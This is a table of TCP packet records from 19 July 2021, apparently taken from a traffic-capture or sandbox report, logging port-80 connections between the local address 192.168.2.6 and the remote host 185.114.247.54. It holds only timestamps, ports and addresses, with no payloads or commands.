Jul 19, 2021 18:36:54.019774914 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.019893885 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.020051956 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.097779036 CEST	80	50068	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.098968029 CEST	80	50068	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.099097013 CEST	50068	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.109961033 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.110013008 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.110032082 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.110048056 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.110085011 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.209773064 CEST	50068	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.210386038 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.212069988 CEST	50069	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.213783979 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.297161102 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.297436953 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.299439907 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.299726009 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.300322056 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.300785065 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.302057028 CEST	80	50067	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.302267075 CEST	50067	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.303280115 CEST	80	50068	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.303405046 CEST	50068	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.308512926 CEST	80	50069	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.308718920 CEST	50069	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.309745073 CEST	50069	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.382606030 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.382633924 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.382708073 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.383002043 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.383627892 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.383788109 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.383980036 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.384090900 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.384169102 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.384273052 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.384663105 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.384773970 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.385134935 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.385256052 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.385420084 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.385559082 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.385746956 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.385859966 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.386009932 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.386126995 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.386370897 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.386409998 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.386565924 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.406080008 CEST	80	50069	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.406104088 CEST	80	50069	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.407752037 CEST	50069	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.466564894 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.466593981 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.466775894 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.466856956 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.466986895 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.467005014 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.467130899 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.467606068 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.467741013 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.468008995 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.468166113 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.468225002 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.468341112 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.469007015 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.469132900 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.469432116 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.469502926 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.473439932 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.521575928 CEST	50069	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.522562981 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.549526930 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.549741030 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.549750090 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.549844027 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.550029993 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.550043106 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.550220966 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.550782919 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.550934076 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.551062107 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.551305056 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.551954985 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.552014112 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.552268028 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.556381941 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.556468010 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.556708097 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.600981951 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.601217985 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.601937056 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.617835045 CEST	80	50069	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.618220091 CEST	50069	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.632644892 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.632662058 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.632668972 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.632678986 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.632721901 CEST	80	50070	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.632853985 CEST	50070	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.680668116 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.680696011 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.680865049 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.691972971 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.692125082 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.692351103 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.692456961 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.770586967 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.770718098 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.770947933 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.771065950 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.771156073 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.771311998 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.771430016 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.771586895 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.772453070 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.772540092 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.772547007 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.772603989 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.772640944 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.773067951 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.773430109 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.773473978 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.773530960 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.773591042 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.773828030 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.774091959 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.774116993 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.774255991 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.799431086 CEST	50072	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.848953962 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.849025965 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.849208117 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.850087881 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.850123882 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.850327015 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.850369930 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.851047039 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.851068974 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.851187944 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.851540089 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.851644993 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.851691008 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.851748943 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.881983995 CEST	80	50072	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.882196903 CEST	50072	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.883435011 CEST	50072	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.927031040 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.927109003 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.927273035 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.927272081 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:54.928123951 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.928189993 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.928517103 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.929012060 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.929158926 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.929177046 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.929289103 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.929384947 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.966887951 CEST	80	50072	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.966924906 CEST	80	50072	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:54.968194962 CEST	50072	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.006746054 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.006779909 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.006792068 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.079921007 CEST	50072	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.080249071 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.082391977 CEST	50073	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.082880974 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.157711983 CEST	80	50071	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.157855034 CEST	50071	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.161098003 CEST	80	50073	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.161407948 CEST	50073	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.162130117 CEST	80	50072	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.162251949 CEST	50072	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.162643909 CEST	50073	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.178766012 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.178905010 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.179970980 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.180259943 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.180633068 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.180993080 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.241247892 CEST	80	50073	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.241353989 CEST	80	50073	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.241477966 CEST	50073	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.276026011 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276060104 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276170969 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.276202917 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276331902 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276410103 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.276485920 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276540041 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276566029 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.276627064 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.276681900 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276742935 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.276829004 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.276900053 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.345666885 CEST	50073	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.346668005 CEST	50075	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.372279882 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373599052 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373620033 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373636007 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373646021 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373656988 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373667955 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373682976 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373697042 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373718023 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373728037 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.373797894 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.373833895 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.373846054 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.373864889 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.373903036 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.424148083 CEST	80	50073	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.424263954 CEST	50073	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.424335003 CEST	80	50075	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.424530983 CEST	50075	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.424979925 CEST	50075	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.469944000 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.470006943 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.470026970 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.470122099 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.470159054 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.470174074 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.471210957 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.471256018 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.471337080 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.477051973 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.477087975 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.477097988 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.508912086 CEST	80	50075	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.510390043 CEST	80	50075	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.511352062 CEST	50075	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.573003054 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.573050976 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.573074102 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.573090076 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.628226995 CEST	50075	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.629592896 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.630095959 CEST	50076	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.683396101 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.705859900 CEST	80	50075	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.706022024 CEST	50075	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.722595930 CEST	80	50076	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.722812891 CEST	50076	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.725564957 CEST	80	50074	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.725649118 CEST	50074	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.726223946 CEST	50076	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.781121016 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.781285048 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.782253027 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.782390118 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.782649040 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.782722950 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.818734884 CEST	80	50076	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.818818092 CEST	80	50076	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.818887949 CEST	50076	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.879451990 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.879506111 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.880327940 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.880351067 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.880458117 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.880522013 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.880640030 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.880711079 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.880863905 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.880935907 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.881068945 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.881241083 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.881419897 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.881488085 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.881661892 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.881789923 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.881860971 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.881958961 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.882019997 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.882107973 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.882245064 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.924113035 CEST	50076	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.925733089 CEST	50078	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.977720976 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.977747917 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.977758884 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.977854013 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:55.978080988 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:55.978121042 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.004302025 CEST	80	50078	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.005594015 CEST	50078	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.006167889 CEST	50078	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.016454935 CEST	80	50076	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.016653061 CEST	50076	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.024557114 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.024864912 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.075357914 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.076504946 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.084561110 CEST	80	50078	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.084657907 CEST	80	50078	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.084902048 CEST	50078	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.098401070 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.098529100 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.150067091 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.173988104 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.174037933 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.190721035 CEST	50078	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.191581964 CEST	50079	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.195770025 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.195847034 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.195863962 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.223362923 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.223813057 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.288706064 CEST	80	50078	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.288881063 CEST	50078	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.295265913 CEST	80	50079	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.295490980 CEST	50079	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.296102047 CEST	50079	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.401738882 CEST	80	50079	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.401777029 CEST	80	50079	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.402734041 CEST	50079	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.459093094 CEST	50079	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.459512949 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.461117029 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.521919012 CEST	50081	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.559794903 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.561528921 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.561559916 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.561564922 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.561578035 CEST	50080	80	192.168.2.6	185.114.247.54
